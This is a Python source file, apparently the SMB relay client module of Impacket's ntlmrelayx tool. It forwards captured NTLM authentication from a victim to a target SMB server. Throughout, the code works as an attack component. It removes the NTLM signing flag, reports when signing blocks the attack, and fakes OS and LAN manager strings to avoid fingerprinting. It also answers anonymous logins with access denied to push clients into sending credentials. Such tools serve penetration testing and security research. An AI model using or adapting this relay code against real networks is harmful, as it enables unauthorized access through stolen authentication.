1# Copyright (c) 2013-2016 CORE Security Technologies
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# SMB Relay Protocol Client
8#
9# Author:
10#  Alberto Solino (@agsolino)
11#
12# Description:
13#  This is the SMB client which initiates the connection to an
14# SMB server and relays the credentials to this server.
15
16import os
17
18from struct import unpack
19from socket import error as socketerror
20from impacket import LOG
21from impacket.examples.ntlmrelayx.clients import ProtocolClient
22from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
23from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
24from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge
25from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
26    SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
27    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
28from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
29    SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
30    SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
31    SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
32from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError
33from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
34
35PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
36
37class MYSMB(SMB):
38    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
39        self.extendedSecurity = extendedSecurity
40        SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
41
42    def neg_session(self, negPacket=None):
43        return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
44
45class MYSMB3(SMB3):
46    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
47        self.extendedSecurity = extendedSecurity
48        SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket))
49
50    def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
51        # We DON'T want to sign
52        self._Connection['ClientSecurityMode'] = 0
53
54        if self.RequireMessageSigning is True:
55            LOG.error('Signing is required, attack won\'t work!')
56            return
57
58        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
59        currentDialect = SMB2_DIALECT_WILDCARD
60
61        # Do we have a negSessionPacket already?
62        if negSessionResponse is not None:
63            # Yes, let's store the dialect answered back
64            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
65            currentDialect = negResp['DialectRevision']
66
67        if currentDialect == SMB2_DIALECT_WILDCARD:
68            # Still don't know the chosen dialect, let's send our options
69
70            packet = self.SMB_PACKET()
71            packet['Command'] = SMB2_NEGOTIATE
72            negSession = SMB2Negotiate()
73
74            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
75            negSession['Capabilities'] = self._Connection['Capabilities']
76            negSession['ClientGuid'] = self.ClientGuid
77            if preferredDialect is not None:
78                negSession['Dialects'] = [preferredDialect]
79            else:
80                negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
81            negSession['DialectCount'] = len(negSession['Dialects'])
82            packet['Data'] = negSession
83
84            packetID = self.sendSMB(packet)
85            ans = self.recvSMB(packetID)
86            if ans.isValidAnswer(STATUS_SUCCESS):
87                negResp = SMB2Negotiate_Response(ans['Data'])
88
89        self._Connection['MaxTransactSize']   = min(0x100000,negResp['MaxTransactSize'])
90        self._Connection['MaxReadSize']       = min(0x100000,negResp['MaxReadSize'])
91        self._Connection['MaxWriteSize']      = min(0x100000,negResp['MaxWriteSize'])
92        self._Connection['ServerGuid']        = negResp['ServerGuid']
93        self._Connection['GSSNegotiateToken'] = negResp['Buffer']
94        self._Connection['Dialect']           = negResp['DialectRevision']
95        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
96            LOG.error('Signing is required, attack won\'t work!')
97            return
98        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
99            self._Connection['SupportsFileLeasing'] = True
100        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
101            self._Connection['SupportsMultiCredit'] = True
102
103        if self._Connection['Dialect'] == SMB2_DIALECT_30:
104            # Switching to the right packet format
105            self.SMB_PACKET = SMB3Packet
106            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
107                self._Connection['SupportsDirectoryLeasing'] = True
108            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
109                self._Connection['SupportsMultiChannel'] = True
110            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
111                self._Connection['SupportsPersistentHandles'] = True
112            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
113                self._Connection['SupportsEncryption'] = True
114
115            self._Connection['ServerCapabilities'] = negResp['Capabilities']
116            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
117
118class SMBRelayClient(ProtocolClient):
119    PLUGIN_NAME = "SMB"
120    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
121        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
122        self.extendedSecurity = extendedSecurity
123
124        self.domainIp = None
125        self.machineAccount = None
126        self.machineHashes = None
127        self.sessionData = {}
128
129        self.keepAliveHits = 1
130
131    def keepAlive(self):
132        # SMB Keep Alive more or less every 5 minutes
133        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
134            # Time to send a packet
135            # Just a tree connect / disconnect to avoid the session timeout
136            tid = self.session.connectTree('IPC$')
137            self.session.disconnectTree(tid)
138            self.keepAliveHits = 1
139        else:
140            self.keepAliveHits +=1
141
142    def killConnection(self):
143        if self.session is not None:
144            self.session.close()
145            self.session = None
146
147    def initConnection(self):
148        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
149                                     #,preferredDialect=SMB_DIALECT)
150        if self.serverConfig.smb2support is True:
151            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
152        else:
153            data = '\x02NT LM 0.12\x00'
154
155        if self.extendedSecurity is True:
156            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
157        else:
158            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
159        try:
160            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
161                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
162                             flags2=flags2, data=data)
163        except socketerror as e:
164            if 'reset by peer' in str(e):
165                if not self.serverConfig.smb2support:
166                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
167                else:
168                    LOG.error('SMBCLient error: Connection was reset')
169            else:
170                LOG.error('SMBCLient error: %s' % str(e))
171            return False
172        if packet[0] == '\xfe':
173            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
174        else:
175            # Answer is SMB packet, sticking to SMBv1
176            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
177
178        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
179                                     existingConnection=smbClient, manualNegotiate=True)
180
181        return True
182
183    def setUid(self,uid):
184        self._uid = uid
185
186    def sendNegotiate(self, negotiateMessage):
187        negotiate = NTLMAuthNegotiate()
188        negotiate.fromString(negotiateMessage)
189        #Remove the signing flag
190        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
191
192        challenge = NTLMAuthChallenge()
193        if self.session.getDialect() == SMB_DIALECT:
194            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
195        else:
196            challenge.fromString(self.sendNegotiatev2(negotiateMessage))
197
198        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
199        self.sessionData['CHALLENGE_MESSAGE'] = challenge
200
201        return challenge
202
203    def sendNegotiatev2(self, negotiateMessage):
204        v2client = self.session.getSMBServer()
205
206        sessionSetup = SMB2SessionSetup()
207        sessionSetup['Flags'] = 0
208
209        # Let's build a NegTokenInit with the NTLMSSP
210        blob = SPNEGO_NegTokenInit()
211
212        # NTLMSSP
213        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
214        blob['MechToken'] = str(negotiateMessage)
215
216        sessionSetup['SecurityBufferLength'] = len(blob)
217        sessionSetup['Buffer'] = blob.getData()
218
219        packet = v2client.SMB_PACKET()
220        packet['Command'] = SMB2_SESSION_SETUP
221        packet['Data'] = sessionSetup
222
223        packetID = v2client.sendSMB(packet)
224        ans = v2client.recvSMB(packetID)
225        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
226            v2client._Session['SessionID'] = ans['SessionID']
227            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
228            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
229            return respToken['ResponseToken']
230
231        return False
232
233    def sendNegotiatev1(self, negotiateMessage):
234        v1client = self.session.getSMBServer()
235
236        smb = NewSMBPacket()
237        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
238        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
239        # Are we required to sign SMB? If so we do it, if not we skip it
240        if v1client.is_signing_required():
241           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
242
243
244        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
245        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
246        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
247
248        sessionSetup['Parameters']['MaxBufferSize']        = 65535
249        sessionSetup['Parameters']['MaxMpxCount']          = 2
250        sessionSetup['Parameters']['VcNumber']             = 1
251        sessionSetup['Parameters']['SessionKey']           = 0
252        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
253
254        # Let's build a NegTokenInit with the NTLMSSP
255        # TODO: In the future we should be able to choose different providers
256
257        blob = SPNEGO_NegTokenInit()
258
259        # NTLMSSP
260        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
261        blob['MechToken'] = str(negotiateMessage)
262
263        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
264        sessionSetup['Parameters'].getData()
265        sessionSetup['Data']['SecurityBlob']       = blob.getData()
266
267        # Fake Data here, don't want to get us fingerprinted
268        sessionSetup['Data']['NativeOS']      = 'Unix'
269        sessionSetup['Data']['NativeLanMan']  = 'Samba'
270
271        smb.addCommand(sessionSetup)
272        v1client.sendSMB(smb)
273        smb = v1client.recvSMB()
274
275        try:
276            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
277        except Exception:
278            LOG.error("SessionSetup Error!")
279            raise
280        else:
281            # We will need to use this uid field for all future requests/responses
282            v1client.set_uid(smb['Uid'])
283
284            # Now we have to extract the blob to continue the auth process
285            sessionResponse   = SMBCommand(smb['Data'][0])
286            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
287            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
288            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
289            sessionData.fromString(sessionResponse['Data'])
290            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
291
292            return respToken['ResponseToken']
293
294    def sendStandardSecurityAuth(self, sessionSetupData):
295        v1client = self.session.getSMBServer()
296        flags2 = v1client.get_flags()[1]
297        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
298        if sessionSetupData['Account'] != '':
299            smb = NewSMBPacket()
300            smb['Flags1'] = 8
301
302            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
303            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
304            sessionSetup['Data'] = SMBSessionSetupAndX_Data()
305
306            sessionSetup['Parameters']['MaxBuffer'] = 65535
307            sessionSetup['Parameters']['MaxMpxCount'] = 2
308            sessionSetup['Parameters']['VCNumber'] = os.getpid()
309            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
310            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
311            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
312            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
313
314            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
315            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
316            sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
317            sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain'])
318            sessionSetup['Data']['NativeOS'] = 'Unix'
319            sessionSetup['Data']['NativeLanMan'] = 'Samba'
320
321            smb.addCommand(sessionSetup)
322
323            v1client.sendSMB(smb)
324            smb = v1client.recvSMB()
325            try:
326                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
327            except:
328                return None, STATUS_LOGON_FAILURE
329            else:
330                v1client.set_uid(smb['Uid'])
331                return smb, STATUS_SUCCESS
332        else:
333            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
334            clientResponse = None
335            errorCode = STATUS_ACCESS_DENIED
336
337        return clientResponse, errorCode
338
339    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
340        if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
341            # We need to wrap the NTLMSSP into SPNEGO
342            respToken2 = SPNEGO_NegTokenResp()
343            respToken2['ResponseToken'] = str(authenticateMessageBlob)
344            authData = respToken2.getData()
345        else:
346            authData = str(authenticateMessageBlob)
347
348        if self.session.getDialect() == SMB_DIALECT:
349            token, errorCode = self.sendAuthv1(authData, serverChallenge)
350        else:
351            token, errorCode = self.sendAuthv2(authData, serverChallenge)
352        return token, errorCode
353
354    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
355        v2client = self.session.getSMBServer()
356
357        sessionSetup = SMB2SessionSetup()
358        sessionSetup['Flags'] = 0
359
360        packet = v2client.SMB_PACKET()
361        packet['Command'] = SMB2_SESSION_SETUP
362        packet['Data']    = sessionSetup
363
364        # Reusing the previous structure
365        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
366        sessionSetup['Buffer'] = authenticateMessageBlob
367
368        packetID = v2client.sendSMB(packet)
369        packet = v2client.recvSMB(packetID)
370
371        return packet, packet['Status']
372
373    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
374        v1client = self.session.getSMBServer()
375
376        smb = NewSMBPacket()
377        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
378        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
379        # Are we required to sign SMB? If so we do it, if not we skip it
380        if v1client.is_signing_required():
381           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
382        smb['Uid'] = v1client.get_uid()
383
384        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
385        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
386        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
387
388        sessionSetup['Parameters']['MaxBufferSize']        = 65535
389        sessionSetup['Parameters']['MaxMpxCount']          = 2
390        sessionSetup['Parameters']['VcNumber']             = 1
391        sessionSetup['Parameters']['SessionKey']           = 0
392        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
393
394        # Fake Data here, don't want to get us fingerprinted
395        sessionSetup['Data']['NativeOS']      = 'Unix'
396        sessionSetup['Data']['NativeLanMan']  = 'Samba'
397
398        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
399        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
400        smb.addCommand(sessionSetup)
401        v1client.sendSMB(smb)
402
403        smb = v1client.recvSMB()
404
405        errorCode = smb['ErrorCode'] << 16
406        errorCode += smb['_reserved'] << 8
407        errorCode += smb['ErrorClass']
408
409        return smb, errorCode
410
411    def getStandardSecurityChallenge(self):
412        if self.session.getDialect() == SMB_DIALECT:
413            return self.session.getSMBServer().get_encryption_key()
414        else:
415            return None
416